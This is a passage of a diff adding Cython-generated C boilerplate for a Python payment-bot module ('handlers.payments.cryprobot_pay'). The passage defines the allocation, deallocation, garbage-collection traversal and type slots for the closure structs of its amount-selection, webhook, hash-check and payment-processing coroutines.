Py_CLEAR(p->__pyx_v_state); + Py_CLEAR(p->__pyx_t_0); + Py_CLEAR(p->__pyx_t_1); + Py_CLEAR(p->__pyx_t_2); + Py_CLEAR(p->__pyx_t_3); + Py_CLEAR(p->__pyx_t_4); + Py_CLEAR(p->__pyx_t_5); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection)))) { + __pyx_freelist_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection[__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection++] = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection *p = (struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection *)o; + if (p->__pyx_v_amount) { + e = (*v)(p->__pyx_v_amount, a); if (e) return e; + } + if (p->__pyx_v_amount_str) { + e = (*v)(p->__pyx_v_amount_str, a); if (e) return e; + } + if (p->__pyx_v_builder) { + e = (*v)(p->__pyx_v_builder, a); if (e) return e; + } + if (p->__pyx_v_callback_query) { + e = (*v)(p->__pyx_v_callback_query, a); if (e) return e; + } + if (p->__pyx_v_data) { + e = (*v)(p->__pyx_v_data, a); if (e) return e; + } + if (p->__pyx_v_e) { + e = (*v)(p->__pyx_v_e, a); if (e) return e; + } + if (p->__pyx_v_invoice) { + e = (*v)(p->__pyx_v_invoice, a); if (e) return e; + } + if (p->__pyx_v_state) { + e = (*v)(p->__pyx_v_state, a); if (e) return e; + } + if (p->__pyx_t_0) { + e = (*v)(p->__pyx_t_0, a); if (e) return e; + } + if (p->__pyx_t_1) { + e = (*v)(p->__pyx_t_1, a); if (e) return e; + } + if (p->__pyx_t_2) { + e = (*v)(p->__pyx_t_2, a); if (e) return e; + } + if (p->__pyx_t_3) { + e = (*v)(p->__pyx_t_3, a); if (e) return e; + } + if (p->__pyx_t_4) { + e = (*v)(p->__pyx_t_4, a); if (e) return e; + } + if (p->__pyx_t_5) { + e = (*v)(p->__pyx_t_5, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection_spec = { + "handlers.payments.cryprobot_pay.__pyx_scope_struct_1_process_amount_selection", + sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.cryprobot_pay.""__pyx_scope_struct_1_process_amount_selection", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook *__pyx_freelist_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook[8]; +static int __pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook[--__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook(PyObject *o) { + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook *p = (struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_data); + Py_CLEAR(p->__pyx_v_e); + Py_CLEAR(p->__pyx_v_request); + Py_CLEAR(p->__pyx_t_0); + Py_CLEAR(p->__pyx_t_1); + Py_CLEAR(p->__pyx_t_2); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook)))) { + __pyx_freelist_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook[__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook++] = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook *p = (struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook *)o; + if (p->__pyx_v_data) { + e = (*v)(p->__pyx_v_data, a); if (e) return e; + } + if (p->__pyx_v_e) { + e = (*v)(p->__pyx_v_e, a); if (e) return e; + } + if (p->__pyx_v_request) { + e = (*v)(p->__pyx_v_request, a); if (e) return e; + } + if (p->__pyx_t_0) { + e = (*v)(p->__pyx_t_0, a); if (e) return e; + } + if (p->__pyx_t_1) { + e = (*v)(p->__pyx_t_1, a); if (e) return e; + } + if (p->__pyx_t_2) { + e = (*v)(p->__pyx_t_2, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook_spec = { + "handlers.payments.cryprobot_pay.__pyx_scope_struct_2_cryptobot_webhook", + sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.cryprobot_pay.""__pyx_scope_struct_2_cryptobot_webhook", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash *__pyx_freelist_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash[8]; +static int __pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash[--__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash(PyObject *o) { + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash *p = (struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_body_text); + Py_CLEAR(p->__pyx_v_crypto_pay_signature); + Py_CLEAR(p->__pyx_v_request); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash)))) { + __pyx_freelist_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash[__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash++] = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash *p = (struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash *)o; + if (p->__pyx_v_body_text) { + e = (*v)(p->__pyx_v_body_text, a); if (e) return e; + } + if (p->__pyx_v_crypto_pay_signature) { + e = (*v)(p->__pyx_v_crypto_pay_signature, a); if (e) return e; + } + if (p->__pyx_v_request) { + e = (*v)(p->__pyx_v_request, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash_spec = { + "handlers.payments.cryprobot_pay.__pyx_scope_struct_3_check_hash", + sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.cryprobot_pay.""__pyx_scope_struct_3_check_hash", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment *__pyx_freelist_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment[8]; +static int __pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment[--__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment(PyObject *o) { + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment *p = (struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_amount); + Py_CLEAR(p->__pyx_v_amount_str); + Py_CLEAR(p->__pyx_v_custom_payload); + Py_CLEAR(p->__pyx_v_e); + Py_CLEAR(p->__pyx_v_payload); + Py_CLEAR(p->__pyx_v_user_id); + Py_CLEAR(p->__pyx_v_user_id_str); + Py_CLEAR(p->__pyx_t_0); + Py_CLEAR(p->__pyx_t_1); + Py_CLEAR(p->__pyx_t_2); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment)))) { + __pyx_freelist_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment[__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment++] = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment *p = (struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment *)o; + if (p->__pyx_v_amount) { + e = (*v)(p->__pyx_v_amount, a); if (e) return e; + } + if (p->__pyx_v_amount_str) { + e = 